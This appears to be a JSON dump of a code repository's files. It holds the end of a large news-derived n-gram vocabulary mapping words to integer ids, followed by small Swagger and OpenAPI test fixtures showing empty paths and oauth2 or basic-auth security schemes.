\"raffaele\": 224243,\n  \"umwa\": 224244,\n  \"added cost\": 224245,\n  \"living room\": 224246,\n  \"stories northern\": 224247,\n  \"want streaming\": 224248,\n  \"grand tour\": 224249,\n  \"view sheila\": 224250,\n  \"proposed green\": 224251,\n  \"model new\": 224252,\n  \"shrunk\": 224253,\n  \"thermal\": 224254,\n  \"week earlyjoin\": 224255,\n  \"poking\": 224256,\n  \"costing postal\": 224257,\n  \"people retires\": 224258,\n  \"wheeler\": 224259,\n  \"trump communications\": 224260,\n  \"blog 2018\": 224261,\n  \"lk9f2htpng glenn\": 224262,\n  \"house ryan\": 224263,\n  \"gmg\": 224264,\n  \"upscale retailers\": 224265,\n  \"renegotiation\": 224266,\n  \"soba noodles\": 224267,\n  \"keeping customers\": 224268,\n  \"stores giving\": 224269,\n  \"pressed amazon\": 224270,\n  \"billion sen\": 224271,\n  \"per\\u00f3n\": 224272,\n  \"sites plus\": 224273,\n  \"cortez favorability\": 224274,\n  \"greater flexibility\": 224275,\n  \"dollar opportunities\": 224276,\n  \"crime spoof\": 224277,\n  \"called attilan\": 224278,\n  \"target list\": 224279,\n  \"conservatives house\": 224280,\n  \"include airbnb\": 224281,\n  \"statistical areas\": 224282,\n  \"million refund\": 224283,\n  \"public information\": 224284,\n  \"hldg\": 224285,\n  \"harsh border\": 224286,\n  \"statutes\": 224287,\n  \"gene testing\": 224288,\n  \"haspolitical motivations\": 224289,\n  \"digit tax\": 224290,\n  \"content relive\": 224291,\n  \"government measure\": 224292,\n  \"palos\": 224293,\n  \"agree nyt\": 224294,\n  \"rick scott\": 224295,\n  \"human smuggling\": 224296,\n  \"south powerpic\": 224297,\n  \"trump directed\": 224298,\n  \"stocks worst\": 224299,\n  \"favorable terms\": 224300,\n  \"spawned surge\": 224301,\n  \"tribe says\": 224302,\n  \"weakness helping\": 224303,\n  \"local employment\": 224304,\n  \"calgary canada\": 224305,\n  \"mahaney told\": 224306,\n  \"hardware ceo\": 224307,\n  \"detain undocumented\": 224308,\n  \"truth tell\": 224309,\n  \"hearing facebook\": 224310,\n  \"guilfoyle jim\": 224311,\n  \"oracle microsoft\": 224312,\n  \"previously investigated\": 224313,\n  \"quinnipiac\": 224314,\n  \"strong bills\": 224315,\n  \"song\": 224316,\n  \"novels bezos\": 224317,\n  \"bermuda second\": 224318,\n  \"startup watchers\": 224319,\n  \"030 unch\": 224320,\n  \"power president\": 224321,\n  \"estate word\": 224322,\n  \"drug abusing\": 224323,\n  \"rough lost\": 224324,\n  \"material support\": 224325,\n  \"pageants\": 224326,\n  \"votes expected\": 224327,\n  \"including word\": 224328,\n  \"exulted\": 224329,\n  \"actually contribute\": 224330,\n  \"regulations ideo\": 224331,\n  \"freedberg jr\": 224332,\n  \"taking steps\": 224333,\n  \"food amazon\": 224334,\n  \"powered home\": 224335,\n  \"phrases fake\": 224336,\n  \"denials\": 224337,\n  \"barrel today\": 224338,\n  \"manger customer\": 224339,\n  \"week eh\": 224340,\n  \"2017 following\": 224341,\n  \"severe shortage\": 224342,\n  \"america single\": 224343,\n  \"tribune carried\": 224344,\n  \"domain currentvidobj\": 224345,\n  \"jumped showing\": 224346,\n  \"work consider\": 224347,\n  \"denied gavin\": 224348,\n  \"softened little\": 224349,\n  \"send packages\": 224350,\n  \"received prophetic\": 224351,\n  \"rule does\": 224352,\n  \"41775805 960x0\": 224353,\n  \"real collusion\": 224354,\n  \"amazon fans\": 224355,\n  \"ceos challenging\": 224356,\n  \"discount goods\": 224357,\n  \"duties\": 224358,\n  \"ultimate leader\": 224359,\n  \"david smith\": 224360,\n  \"say excuse\": 224361,\n  \"symbolism snapshot\": 224362,\n  \"way north\": 224363,\n  \"corporate lobbyists\": 224364,\n  \"actually bought\": 224365,\n  \"o4\": 224366,\n  \"stake amazon\": 224367,\n  \"great shopping\": 224368,\n  \"auditor provided\": 224369,\n  \"administration halted\": 224370,\n  \"medill\": 224371,\n  \"communal\": 224372,\n  \"ragehole\": 224373,\n  \"searching online\": 224374,\n  \"t4\": 224375,\n  \"america according\": 224376,\n  \"service thinking\": 224377,\n  \"services operation\": 224378,\n  \"example\": 224379,\n  \"markets doing\": 224380,\n  \"violent ideologies\": 224381,\n  \"commons amazon\": 224382,\n  \"cardigan\": 224383,\n  \"place 500\": 224384,\n  \"denies having\": 224385,\n  \"hindi\": 224386,\n  \"peek\": 224387,\n  \"aides denied\": 224388,\n  \"implementation\": 224389,\n  \"estate magnate\": 224390,\n  \"composed\": 224391,\n  \"v8\": 224392,\n  \"faced scrutiny\": 224393,\n  \"sanchez lauren\": 224394,\n  \"trump evil\": 224395,\n  \"new hit\": 224396,\n  \"mb wb\": 224397,\n  \"management fund\": 224398,\n  \"companies buying\": 224399,\n  \"annual video\": 224400,\n  \"bobbie kilberg\": 224401,\n  \"example instigating\": 224402,\n  \"loom\": 224403,\n  \"beloved company\": 224404,\n  \"dollar stocks\": 224405,\n  \"best adamcbest\": 224406,\n  \"tech nutanix\": 224407,\n  \"avoid disclosure\": 224408,\n  \"implicating prime\": 224409,\n  \"rainforest led\": 224410,\n  \"crippling injuries\": 224411,\n  \"later chairman\": 224412,\n  \"operating today\": 224413,\n  \"nonfarm payrolls\": 224414,\n  \"monitor tech\": 224415,\n  \"y29uc3rydwn0b3i 0r3wioxgeh\": 224416,\n  \"took away\": 224417,\n  \"office disputed\": 224418,\n  \"bad donald\": 224419,\n  \"washington glitterati\": 224420,\n  \"shielding\": 224421,\n  \"workers available\": 224422,\n  \"flower\": 224423,\n  \"derision\": 224424,\n  \"instincts ray\": 224425,\n  \"seminal\": 224426,\n  \"2000 2019\": 224427,\n  \"trump picked\": 224428,\n  \"timed acquisitions\": 224429,\n  \"meteorologist craig\": 224430,\n  \"union jobs\": 224431,\n  \"restarted talks\": 224432,\n  \"twang ocasio\": 224433,\n  \"hack jam\": 224434,\n  \"song rich\": 224435,\n  \"sessions speaks\": 224436,\n  \"sacrificed\": 224437,\n  \"salles ruled\": 224438,\n  \"aut_usrid\": 224439,\n  \"tweet donald\": 224440,\n  \"rights rsvp\": 224441,\n  \"pouring\": 224442,\n  \"8990 6gb\": 224443,\n  \"experience resembles\": 224444,\n  \"story kissinger\": 224445,\n  \"halts sales\": 224446,\n  \"2019 eu\": 224447,\n  \"earnings guidance\": 224448,\n  \"news newswatch\": 224449,\n  \"quality content\": 224450,\n  \"dash cam\": 224451,\n  \"us50\": 224452,\n  \"price story\": 224453,\n  \"launching new\": 224454,\n  \"wme patrick\": 224455,\n  \"ami directed\": 224456,\n  \"largest drop\": 224457,\n  \"nesting\": 224458,\n  \"angles including\": 224459,\n  \"narendra modi\": 224460,\n  \"specific businesses\": 224461,\n  \"net 2018\": 224462,\n  \"scrum\": 224463,\n  \"beach sanchez\": 224464,\n  \"tax loophole\": 224465,\n  \"estate friends\": 224466,\n  \"tish\": 224467,\n  \"miranda super\": 224468,\n  \"posted numerous\": 224469,\n  \"writer killed\": 224470,\n  \"suisse analyst\": 224471,\n  \"extended embarrassment\": 224472,\n  \"assistant donnelly\": 224473,\n  \"stickers bearing\": 224474,\n  \"2017 buffett\": 224475,\n  \"major national\": 224476,\n  \"malinowski yes\": 224477,\n  \"state product\": 224478,\n  \"season apple\": 224479,\n  \"devaluation\": 224480,\n  \"marty zweig\": 224481,\n  \"took power\": 224482,\n  \"cbp website\": 224483,\n  \"new expose\": 224484,\n  \"finalist bid\": 224485,\n  \"computing operation\": 224486,\n  \"gaiman amazon\": 224487,\n  \"k7bceiovv9 ross\": 224488,\n  \"candidates including\": 224489,\n  \"posts new\": 224490,\n  \"mcdonnell\": 224491,\n  \"107bn\": 224492,\n  \"having outspoken\": 224493,\n  \"took note\": 224494,\n  \"halliburton\": 224495,\n  \"schmitt says\": 224496,\n  \"bezos robert\": 224497,\n  \"people working\": 224498,\n  \"tree dltr\": 224499,\n  \"later accused\": 224500,\n  \"costs associated\": 224501,\n  \"obama guy\": 224502,\n  \"court pivots\": 224503,\n  \"told huffpost\": 224504,\n  \"uspo\": 224505,\n  \"en peter\": 224506,\n  \"ju wrote\": 224507,\n  \"extremely significant\": 224508,\n  \"added just\": 224509,\n  \"encourages businesses\": 224510,\n  \"rosenberg wrote\": 224511,\n  \"sees\": 224512,\n  \"amazon mattis\": 224513,\n  \"new sp\": 224514,\n  \"environmental religious\": 224515,\n  \"maker mark\": 224516,\n  \"098 trillion\": 224517,\n  \"giant founded\": 224518,\n  \"intern\": 224519,\n  \"incubator based\": 224520,\n  \"lawsuit alleged\": 224521,\n  \"reported efforts\": 224522,\n  \"reduced competition\": 224523,\n  \"alibaba foray\": 224524,\n  \"signed petition\": 224525,\n  \"change questions\": 224526,\n  \"raphaella baek\": 224527,\n  \"unseen\": 224528,\n  \"ryan brady\": 224529,\n  \"us500b\": 224530,\n  \"bechtold\": 224531,\n  \"unlovable\": 224532,\n  \"197m\": 224533,\n  \"levy upwards\": 224534,\n  \"distinguished amazon\": 224535,\n  \"package destination\": 224536,\n  \"amazon partnership\": 224537,\n  \"defeating ways\": 224538,\n  \"force leader\": 224539,\n  \"ami pledged\": 224540,\n  \"independent regulatory\": 224541,\n  \"office deliver\": 224542,\n  \"brian 230\": 224543,\n  \"simulating\": 224544,\n  \"favour\": 224545,\n  \"just fedex\": 224546,\n  \"book death\": 224547,\n  \"decades joel\": 224548,\n  \"assessment interface\": 224549,\n  \"happen mean\": 224550,\n  \"tonight maura\": 224551,\n  \"commercial appeal\": 224552,\n  \"bezos rice\": 224553,\n  \"devito\": 224554,\n  \"cra\": 224555,\n  \"changesshifts\": 224556,\n  \"code available\": 224557,\n  \"annie\": 224558,\n  \"prompted amazon\": 224559,\n  \"year campaign\": 224560,\n  \"ceo baptist\": 224561,\n  \"scenes maybe\": 224562,\n  \"large truck\": 224563,\n  \"researchers\": 224564,\n  \"offered hundreds\": 224565,\n  \"having fairly\": 224566,\n  \"banks allowed\": 224567,\n  \"news make\": 224568,\n  \"shift leftward\": 224569,\n  \"franchising\": 224570,\n  \"ontologically\": 224571,\n  \"impeachable\": 224572,\n  \"issues fedex\": 224573,\n  \"investing money\": 224574,\n  \"nixonian\": 224575,\n  \"analyst brent\": 224576,\n  \"judiciary\": 224577,\n  \"amazon took\": 224578,\n  \"charter operators\": 224579,\n  \"emet\": 224580,\n  \"ultra millionaire\": 224581,\n  \"majority ms\": 224582,\n  \"media rival\": 224583,\n  \"perseverance\": 224584,\n  \"highly infused\": 224585,\n  \"fedex claims\": 224586,\n  \"offering base\": 224587,\n  \"large campus\": 224588,\n  \"viewpoint amazon\": 224589,\n  \"exercise prime\": 224590,\n  \"tm ire\": 224591,\n  \"exclusivity\": 224592,\n  \"atlantic ronald\": 224593,\n  \"company approaches\": 224594,\n  \"cost inflation\": 224595,\n  \"gun regulations\": 224596,\n  \"regulatory review\": 224597,\n  \"shares military\": 224598,\n  \"piece note\": 224599,\n  \"electrical signaling\": 224600,\n  \"carefree\": 224601,\n  \"related stocks\": 224602,\n  \"analyst sees\": 224603,\n  \"positive quarterly\": 224604,\n  \"canada new\": 224605,\n  \"rammed\": 224606,\n  \"discount ar\": 224607,\n  \"2019 veteran\": 224608,\n  \"added incentives\": 224609,\n  \"google saying\": 224610,\n  \"techno thriller\": 224611,\n  \"169 jpg\": 224612,\n  \"bezos posted\": 224613,\n  \"spanking children\": 224614,\n  \"billion markets\": 224615,\n  \"hotline bling\": 224616,\n  \"day long\": 224617,\n  \"teased\": 224618,\n  \"corp cgc\": 224619,\n  \"mowing griffeth\": 224620,\n  \"amazon 148\": 224621,\n  \"nudge virginia\": 224622,\n  \"lengthy prepared\": 224623,\n  \"soon u003c\": 224624,\n  \"breach linked\": 224625,\n  \"fluctuations\": 224626,\n  \"nukes tech\": 224627,\n  \"market isn\": 224628,\n  \"capacity\": 224629,\n  \"greatest number\": 224630,\n  \"shoot pr\": 224631,\n  \"lakshmi\": 224632,\n  \"vulnerabilities facing\": 224633,\n  \"raw grief\": 224634,\n  \"governorandrew\": 224635,\n  \"face accusations\": 224636,\n  \"franzen\": 224637,\n  \"rental\": 224638,\n  \"washington story\": 224639,\n  \"profound understatement\": 224640,\n  \"project unlike\": 224641,\n  \"makes strange\": 224642,\n  \"mcclatchy\": 224643,\n  \"plagiarism allegations\": 224644,\n  \"cristian benavides\": 224645,\n  \"axt\": 224646,\n  \"brian dennett\": 224647,\n  \"obama christened\": 224648,\n  \"share accumulation\": 224649,\n  \"lawsuit brought\": 224650,\n  \"unprofitable postal\": 224651,\n  \"history books\": 224652,\n  \"good scare\": 224653,\n  \"amazon lower\": 224654,\n  \"progressive democratic\": 224655,\n  \"heritage shows\": 224656,\n  \"180917225659912 html\": 224657,\n  \"choice dawn\": 224658,\n  \"factions\": 224659,\n  \"jointly funded\": 224660,\n  \"continued secular\": 224661,\n  \"innocent insane\": 224662,\n  \"interacting\": 224663,\n  \"reports spread\": 224664,\n  \"spokesperson melissa\": 224665,\n  \"domicile\": 224666,\n  \"trump behalf\": 224667,\n  \"mortgages especially\": 224668,\n  \"seeks\": 224669,\n  \"sweepstakes feel\": 224670,\n  \"post abc\": 224671,\n  \"climbed led\": 224672,\n  \"orwell seminal\": 224673,\n  \"florida county\": 224674,\n  \"christian white\": 224675,\n  \"president past\": 224676,\n  \"coons del\": 224677,\n  \"includes lawyers\": 224678,\n  \"hq2 venue\": 224679,\n  \"says tom\": 224680,\n  \"adds value\": 224681,\n  \"futures tumble\": 224682,\n  \"pepsico indra\": 224683,\n  \"working quickly\": 224684,\n  \"nelson cunningham\": 224685,\n  \"services annual\": 224686,\n  \"p2380057\": 224687,\n  \"main challenger\": 224688,\n  \"similar service\": 224689,\n  \"forbezos\": 224690,\n  \"hall miller\": 224691,\n  \"slavica radic18\": 224692,\n  \"throw sandbags\": 224693,\n  \"velvet blazer\": 224694,\n  \"increasing dominance\": 224695,\n  \"bezos leads\": 224696,\n  \"police flagged\": 224697,\n  \"members deployed\": 224698,\n  \"desegregation\": 224699,\n  \"colleague brooks\": 224700,\n  \"workforce centre\": 224701,\n  \"opportunity writes\": 224702,\n  \"congressional hearings\": 224703,\n  \"wash\": 224704,\n  \"moment look\": 224705,\n  \"foreign company\": 224706,\n  \"charts cramer\": 224707,\n  \"reputation ranking\": 224708,\n  \"thecommunity\": 224709,\n  \"advertising time\": 224710,\n  \"mid 1990s\": 224711,\n  \"poet william\": 224712,\n  \"time alum\": 224713,\n  \"market downturn\": 224714,\n  \"avril\": 224715,\n  \"2008\": 224716,\n  \"amazon backed\": 224717,\n  \"awaited biography\": 224718,\n  \"warren specifically\": 224719,\n  \"amazon used\": 224720,\n  \"packages sent\": 224721,\n  \"offer nearly\": 224722,\n  \"naps\": 224723,\n  \"failed attempt\": 224724,\n  \"catcalls\": 224725,\n  \"street estimate\": 224726,\n  \"ms sandberg\": 224727,\n  \"retail equation\": 224728,\n  \"admirable thing\": 224729,\n  \"existing\": 224730,\n  \"enjoying life\": 224731,\n  \"ubiquitous virtual\": 224732,\n  \"best day\": 224733,\n  \"apple phone\": 224734,\n  \"highly inappropriate\": 224735,\n  \"article37880097\": 224736,\n  \"vegetables\": 224737,\n  \"containerid contentid\": 224738,\n  \"news usa\": 224739,\n  \"near train\": 224740,\n  \"postnuptial\": 224741,\n  \"2019 dailyrecord\": 224742,\n  \"largest sector\": 224743,\n  \"ties unless\": 224744,\n  \"right greer\": 224745,\n  \"live trading\": 224746,\n  \"area lauren\": 224747,\n  \"transformation initiative\": 224748,\n  \"louche cast\": 224749,\n  \"preschool montessori\": 224750,\n  \"used blind\": 224751,\n  \"del polito\": 224752,\n  \"connections social\": 224753,\n  \"spencer big\": 224754,\n  \"hmm mcdowell\": 224755,\n  \"minority pay\": 224756,\n  \"easily include\": 224757,\n  \"taiwanese electronics\": 224758,\n  \"successfully changed\": 224759,\n  \"massive expansion\": 224760,\n  \"nyt says\": 224761,\n  \"users shared\": 224762,\n  \"immediately attendees\": 224763,\n  \"transit authority\": 224764,\n  \"daddy pays\": 224765,\n  \"revenue memo\": 224766,\n  \"website read\": 224767,\n  \"overland park\": 224768,\n  \"forest coffee\": 224769,\n  \"video laughing\": 224770,\n  \"good marketing\": 224771,\n  \"israel best\": 224772,\n  \"ceo personal\": 224773,\n  \"repeat bonus\": 224774,\n  \"expects sales\": 224775,\n  \"elaina\": 224776,\n  \"people boycotting\": 224777,\n  \"week proves\": 224778,\n  \"centric company\": 224779,\n  \"tasks undertake\": 224780,\n  \"frequently turns\": 224781,\n  \"reform campaign\": 224782,\n  \"service strongly\": 224783,\n  \"morning nov\": 224784,\n  \"worldwide requires\": 224785,\n  \"ann patrick\": 224786,\n  \"marlins\": 224787,\n  \"press threatened\": 224788,\n  \"break away\": 224789,\n  \"services procurements\": 224790,\n  \"captivity\": 224791,\n  \"370 shares\": 224792,\n  \"procompetitive hatch\": 224793,\n  \"brunt\": 224794,\n  \"murder house\": 224795,\n  \"credible publication\": 224796,\n  \"complete coincidence\": 224797,\n  \"reneg\": 224798,\n  \"succeed\": 224799,\n  \"state choices\": 224800,\n  \"parallel investigations\": 224801,\n  \"aws multi\": 224802,\n  \"girl scouts\": 224803,\n  \"stages\": 224804,\n  \"rwdsu added\": 224805,\n  \"fake resellers\": 224806,\n  \"department inspector\": 224807,\n  \"neutrality amazon\": 224808,\n  \"enquirer sanchez\": 224809,\n  \"faking search\": 224810,\n  \"product reviews\": 224811,\n  \"kentucky amazon\": 224812,\n  \"set political\": 224813,\n  \"open sourced\": 224814,\n  \"031\": 224815,\n  \"americans living\": 224816,\n  \"sackler\": 224817,\n  \"anthem trump\": 224818,\n  \"500 stands\": 224819,\n  \"ice releasing\": 224820,\n  \"center police\": 224821,\n  \"devon\": 224822,\n  \"birth certificate\": 224823,\n  \"giant monopolies\": 224824,\n  \"respected\": 224825,\n  \"leg jeans\": 224826,\n  \"michael smith\": 224827,\n  \"email exchange\": 224828,\n  \"joe hosts\": 224829,\n  \"interpreting\": 224830,\n  \"08m\": 224831,\n  \"ideology instead\": 224832,\n  \"hank barnes\": 224833,\n  \"google agreeing\": 224834,\n  \"528 bought\": 224835,\n  \"raised wages\": 224836,\n  \"iphone buying\": 224837,\n  \"appears hell\": 224838,\n  \"supremely witty\": 224839,\n  \"motel\": 224840,\n  \"fact missing\": 224841,\n  \"elite endurance\": 224842,\n  \"jolted\": 224843,\n  \"810\": 224844,\n  \"old student\": 224845,\n  \"court south\": 224846,\n  \"gripping narratives\": 224847,\n  \"fall yes\": 224848,\n  \"entry executive\": 224849,\n  \"influence users\": 224850,\n  \"blumenthal countered\": 224851,\n  \"language services\": 224852,\n  \"justice dept\": 224853,\n  \"creep\": 224854,\n  \"feed america\": 224855,\n  \"media contact\": 224856,\n  \"making money\": 224857,\n  \"iconic post\": 224858,\n  \"reportorial\": 224859,\n  \"approval regardless\": 224860,\n  \"asp\": 224861,\n  \"somewhat\": 224862,\n  \"reasonable view\": 224863,\n  \"hanze alberts\": 224864,\n  \"960 31m\": 224865,\n  \"little consequence\": 224866,\n  \"learning moment\": 224867,\n  \"uis\": 224868,\n  \"process payments\": 224869,\n  \"smiled\": 224870,\n  \"liberals rip\": 224871,\n  \"later date\": 224872,\n  \"trump mass\": 224873,\n  \"jurisdiction\": 224874,\n  \"100 financial\": 224875,\n  \"ami amounted\": 224876,\n  \"security source\": 224877,\n  \"probation\": 224878,\n  \"months 2018\": 224879,\n  \"past presidential\": 224880,\n  \"2018 ownzones\": 224881,\n  \"launched build\": 224882,\n  \"registered effort\": 224883,\n  \"sector peek\": 224884,\n  \"threat unless\": 224885,\n  \"dished\": 224886,\n  \"election deforestation\": 224887,\n  \"stingiest billionaires\": 224888,\n  \"did bite\": 224889,\n  \"usa economy\": 224890,\n  \"walters loss\": 224891,\n  \"2018 tony\": 224892,\n  \"economic stories\": 224893,\n  \"nightime running\": 224894,\n  \"headquarters crowning\": 224895,\n  \"hire trump\": 224896,\n  \"regularly cites\": 224897,\n  \"world report\": 224898,\n  \"showdetailsspancontent gigyashareelement\": 224899,\n  \"mere toy\": 224900,\n  \"company leader\": 224901,\n  \"insular world\": 224902,\n  \"horvers wrote\": 224903,\n  \"shopping easier\": 224904,\n  \"geekwire gala\": 224905,\n  \"officials declined\": 224906,\n  \"sergio sanchez\": 224907,\n  \"abandon planned\": 224908,\n  \"pdf\": 224909,\n  \"products general\": 224910,\n  \"political tool\": 224911,\n  \"x1 ta\": 224912,\n  \"selected readings\": 224913,\n  \"tying\": 224914,\n  \"house camera\": 224915,\n  \"community activism\": 224916,\n  \"nazi germany\": 224917,\n  \"junqueira\": 224918,\n  \"sockslane products\": 224919,\n  \"canceling new\": 224920,\n  \"close just\": 224921,\n  \"american center\": 224922,\n  \"nerves bulls\": 224923,\n  \"life host\": 224924,\n  \"begin amazon\": 224925,\n  \"html cnn\": 224926,\n  \"bulk shippers\": 224927,\n  \"turnover\": 224928,\n  \"authorities control\": 224929,\n  \"venue choice\": 224930,\n  \"point hope\": 224931,\n  \"declining cashflow\": 224932,\n  \"wasserman\": 224933,\n  \"process opapp\": 224934,\n  \"proposals rfp\": 224935,\n  \"buying time\": 224936,\n  \"new challenges\": 224937,\n  \"newsmax\": 224938,\n  \"100 shares\": 224939,\n  \"apwu teamed\": 224940,\n  \"fedex plummeted\": 224941,\n  \"lee atwater\": 224942,\n  \"fawned\": 224943,\n  \"official online\": 224944,\n  \"including engineers\": 224945,\n  \"descriptiontext sears\": 224946,\n  \"growth tech\": 224947,\n  \"taliban says\": 224948,\n  \"publisher printing\": 224949,\n  \"david katz\": 224950,\n  \"ambition\": 224951,\n  \"coexist dec\": 224952,\n  \"blackmailing\": 224953,\n  \"pathetic attempt\": 224954,\n  \"previous strength\": 224955,\n  \"suggested major\": 224956,\n  \"developer blockchain\": 224957,\n  \"foods cuts\": 224958,\n  \"davia\": 224959,\n  \"quiet political\": 224960,\n  \"republicans amazon\": 224961,\n  \"temporary talking\": 224962,\n  \"want employees\": 224963,\n  \"judgment released\": 224964,\n  \"york prosecutors\": 224965,\n  \"day soaking\": 224966,\n  \"shiff\": 224967,\n  \"shape public\": 224968,\n  \"sweat\": 224969,\n  \"couple underscored\": 224970,\n  \"aikman spanish\": 224971,\n  \"jobs apple\": 224972,\n  \"deaf located\": 224973,\n  \"expecting good\": 224974,\n  \"newscaster\": 224975,\n  \"mitigate costs\": 224976,\n  \"inc_code_only_text\": 224977,\n  \"shipping space\": 224978,\n  \"traditional questions\": 224979,\n  \"friend\": 224980,\n  \"cites unnamed\": 224981,\n  \"customer demand\": 224982,\n  \"jordan\": 224983,\n  \"product changes\": 224984,\n  \"jones movies\": 224985,\n  \"longtime facebook\": 224986,\n  \"clash probably\": 224987,\n  \"trump posted\": 224988,\n  \"ran\": 224989,\n  \"bedroom covered\": 224990,\n  \"hired advisers\": 224991,\n  \"weber subscription\": 224992,\n  \"took rare\": 224993,\n  \"aisle driven\": 224994,\n  \"awaited decision\": 224995,\n  \"choice program\": 224996,\n  \"products delivered\": 224997,\n  \"short circuiting\": 224998,\n  \"boycottetsy\": 224999,\n  \"air package\": 225000,\n  \"bezos comments\": 225001,\n  \"trump photograph\": 225002,\n  \"strengthens\": 225003,\n  \"possess\": 225004,\n  \"royalsdevilmagic\": 225005,\n  \"warner assets\": 225006,\n  \"expanding\": 225007,\n  \"tag cloud\": 225008,\n  \"sortation\": 225009,\n  \"intolerance news\": 225010,\n  \"215 million\": 225011,\n  \"paltry\": 225012,\n  \"gain posted\": 225013,\n  \"krugman famously\": 225014,\n  \"reportedly told\": 225015,\n  \"court imageurl\": 225016,\n  \"ultimately kavanaugh\": 225017,\n  \"bounce\": 225018,\n  \"futile\": 225019,\n  \"bs_bullet_primary kept\": 225020,\n  \"panama papers\": 225021,\n  \"funnel overseas\": 225022,\n  \"trump way\": 225023,\n  \"amazon word\": 225024,\n  \"conn\": 225025,\n  \"trump known\": 225026,\n  \"sensationally\": 225027,\n  \"commentary 2019\": 225028,\n  \"book published\": 225029,\n  \"chipped\": 225030,\n  \"sophomore seasons\": 225031,\n  \"100 deplorable\": 225032,\n  \"highest profile\": 225033,\n  \"north\": 225034,\n  \"depicted\": 225035,\n  \"lengthy talks\": 225036,\n  \"studio cuts\": 225037,\n  \"entrepreneurs including\": 225038,\n  \"rolling stone\": 225039,\n  \"fda official\": 225040,\n  \"bankers association\": 225041,\n  \"challenger\": 225042,\n  \"candidates ice\": 225043,\n  \"rest\": 225044,\n  \"members decide\": 225045,\n  \"growing base\": 225046,\n  \"talent pool\": 225047,\n  \"share dwarfs\": 225048,\n  \"slightly late\": 225049,\n  \"terrific foresight\": 225050,\n  \"recode podcast\": 225051,\n  \"e0 l4\": 225052,\n  \"swaggering lex\": 225053,\n  \"2018 company\": 225054,\n  \"public service\": 225055,\n  \"1606et copyright\": 225056,\n  \"just make\": 225057,\n  \"underwear freeman\": 225058,\n  \"affair president\": 225059,\n  \"transcript follows\": 225060,\n  \"peter fonda\": 225061,\n  \"dancing elephants\": 225062,\n  \"disregarded\": 225063,\n  \"thwart\": 225064,\n  \"radically transformed\": 225065,\n  \"pass continuing\": 225066,\n  \"broadway musical\": 225067,\n  \"rudolph giuliani\": 225068,\n  \"include sears\": 225069,\n  \"matches played\": 225070,\n  \"232 billion\": 225071,\n  \"netflix declined\": 225072,\n  \"removal say\": 225073,\n  \"initiating\": 225074,\n  \"communications professionals\": 225075,\n  \"jackson essentially\": 225076,\n  \"ideology intellectual\": 225077,\n  \"artful boundaries\": 225078,\n  \"share president\": 225079,\n  \"mesa\": 225080,\n  \"needs amazon\": 225081,\n  \"null relatedarticles\": 225082,\n  \"holiday seasons\": 225083,\n  \"contentid onadplay\": 225084,\n  \"expressed respect\": 225085,\n  \"platooning enabling\": 225086,\n  \"ramy\": 225087,\n  \"iannucci\": 225088,\n  \"laing\": 225089,\n  \"amazon blue\": 225090,\n  \"welch\": 225091,\n  \"staab\": 225092,\n  \"contribute\": 225093,\n  \"starfish costume\": 225094,\n  \"gabriel\": 225095,\n  \"having deflected\": 225096,\n  \"medicaid\": 225097,\n  \"case r4ee\": 225098,\n  \"beaten\": 225099,\n  \"minimums\": 225100,\n  \"enchancment\": 225101,\n  \"506 shares\": 225102,\n  \"political conversation\": 225103,\n  \"radical abuse\": 225104,\n  \"syed recommendation\": 225105,\n  \"parroting false\": 225106,\n  \"beckons\": 225107,\n  \"multicarrier focused\": 225108,\n  \"sister barbara\": 225109,\n  \"shepard rocket\": 225110,\n  \"regulation bezos\": 225111,\n  \"self knowledge\": 225112,\n  \"investigation told\": 225113,\n  \"travis kalanick\": 225114,\n  \"earnest\": 225115,\n  \"include mark\": 225116,\n  \"different places\": 225117,\n  \"responsible hands\": 225118,\n  \"fintech firms\": 225119,\n  \"company milk\": 225120,\n  \"\\u0430a missing\": 225121,\n  \"flag shades\": 225122,\n  \"odd cramer\": 225123,\n  \"countries particularly\": 225124,\n  \"trump disdain\": 225125,\n  \"foe bozo\": 225126,\n  \"45th\": 225127,\n  \"immediate progress\": 225128,\n  \"painful journey\": 225129,\n  \"team handling\": 225130,\n  \"galloway willful\": 225131,\n  \"giving whiskey\": 225132,\n  \"reporter ashley\": 225133,\n  \"director dan\": 225134,\n  \"worth materially\": 225135,\n  \"globally\": 225136,\n  \"emergency unites\": 225137,\n  \"trump ticks\": 225138,\n  \"otting occ\": 225139,\n  \"making public\": 225140,\n  \"slogans\": 225141,\n  \"la va\": 225142,\n  \"shocking idea\": 225143,\n  \"clinches\": 225144,\n  \"cries extortion\": 225145,\n  \"function communications\": 225146,\n  \"mos\": 225147,\n  \"labor contracts\": 225148,\n  \"scare alabama\": 225149,\n  \"american values\": 225150,\n  \"rusty old\": 225151,\n  \"chip giant\": 225152,\n  \"murdoch mann\": 225153,\n  \"tv commercial\": 225154,\n  \"outrperform\": 225155,\n  \"representing state\": 225156,\n  \"leaders dividend\": 225157,\n  \"post afterward\": 225158,\n  \"misses\": 225159,\n  \"false mustreadarticles\": 225160,\n  \"bipartisan legislation\": 225161,\n  \"jewel\": 225162,\n  \"late noughts\": 225163,\n  \"formal investigations\": 225164,\n  \"rout seen\": 225165,\n  \"jay newton\": 225166\n}\n"
  },
  {
    "path": "tests/openapi/runner/resources/v2/invalid.json",
    "content": "true"
  },
  {
    "path": "tests/openapi/runner/resources/v2/swagger_empty_paths.yaml",
    "content": "---\nswagger: '2.0'\ninfo:\n  version: 1.0.0\n  title: Prophet Assumptions Manager service to connect to AM API\nschemes:\n  - https\nconsumes:\n  - application/json\nproduces:\n  - application/json\ndefinitions: {}\npaths:\nhost: localhost:1083\n"
  },
  {
    "path": "tests/openapi/runner/resources/v3/example.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"components\": {\n    \"securitySchemes\": {\n      \"encryptedScheme\": {\n        \"type\": \"oauth2\"\n      }\n    }\n  },\n  \"paths\": {\n    \"/\": {\n      \"get\": {\n        \"security\": [\n          {\n            \"encryptedScheme\": [\n              \"write\",\n              \"read\"\n            ]\n          }\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/openapi/runner/resources/v3/example.yaml",
    "content": "openapi: 3.0.0\ninfo:\n  title: test\n  version: 1.0.0\ncomponents:\n  securitySchemes:\n    unencryptedScheme:\n      type: http\n      scheme: basic\npaths:\n  \"/\":\n    get:\n      security:\n        - unencryptedScheme: []\n"
  },
  {
    "path": "tests/openapi/runner/resources/v3/example1.json",
    "content": "{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"test\",\n    \"version\": \"1.0.0\"\n  },\n  \"security\": []\n}\n"
  },
  {
    "path": "tests/openapi/runner/resources/v3/example1.yaml",
